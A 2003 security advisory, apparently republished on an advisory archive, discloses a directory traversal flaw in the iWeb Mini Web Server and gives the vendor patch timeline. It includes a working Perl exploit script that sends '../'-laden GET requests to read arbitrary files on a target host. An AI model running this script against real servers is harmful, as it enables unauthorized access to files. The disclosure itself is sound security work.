logo Home

Untitled Document

Home > Archives Advisories > Articles


Untitled Document

Untitled Document

iWeb Mini Web Server Remote Directory Traversal
Date: 2003-04-16

Author : subversive <subversive@linuxmail.org>

[=================================================================]
[...............:[ S e c u r i t y F r e a k s ]:...............]
[.................:[ www.securityfreaks.com ]:..................]
[=================================================================]


Title : iWeb Mini Web Server Remote Directory Traversal
Risk : Moderate - Low
Software : iWeb Mini Web Server
Platforms : Windows NT/XP/9x
Vendor URL : http://www.ashleybrown.co.uk/iweb/
Discovered by : subversive <subversive@linuxmail.org>
Advisory ID : SFAD03-001


.....:[ Overview :


The iWeb Mini Web Server is a mini web server designed for use on
Intranets and for testing websites in a realistic environment.

.....:[ Details :

iWeb does not correctly filter GET requests for ../ characters
thereby allowing us to escape the webroot and remotely traverse
the directory structure of the remote host.

.....:[ Vendor Status :

14/04/03 Initial Contact Made
15/04/03 Vendor Responded
15/04/03 Vendor Released Updated Version

.....:[ Solution :

Remove old iWeb application and download and install the updated
version which can be found at:

http://ashleybrown.co.uk/downloads/iws2.exe

.....:[ Exploit - SF-iwsuk.pl :

#!/usr/bin/perl -w
#
# S e c u r i t y F r e a k s
# www.securityfreaks.com
#
# iWeb Mini Web Server Remote Directory Traversal
#
# subversive[at]linuxmail.org - *15/04/2003*


use IO::Socket;

if(!$ARGV[0]) {
print <<"IWEBSUK";

S e c u r i t y F r e a k s
www.securityfreaks.com

-------------------------------------------------------------
SF-iwsuk.pl - iWeb Mini Web Server Remote Directory Traversal
-------------------------------------------------------------
Usage: $0 <host> <file> <port>


IWEBSUK
exit;
}

else{
$host = $ARGV[0];
}

if(!$ARGV[2]) {
$port = "80";
}

else {
$port = $ARGV[2];
}


my $sock = new IO::Socket::INET ( Proto => "tcp",
PeerAddr => $host,
PeerPort => $port,
);
die "\nConnection to $host:$port failed\n" unless $sock;

print $sock "GET /../../../../../../../../../$ARGV[1] HTTP/1.0\n\n";
while(<$sock>) { print }
close($sock);
print("\n\n");
exit;



 

arrowSearch Advisories

arrowNewsletter

Free weekly Newsletter.

Please enter your email address here:
arrowReport Vulnerability

If you've found a vulnerability please
click here to report it.
arrowPartners

newsnow

About Us | Contact Us | Advertise | email | Backend flag
Copyright © 2016-2017 Security Corporation - All Rights Reserved - Legal - Privacy Policy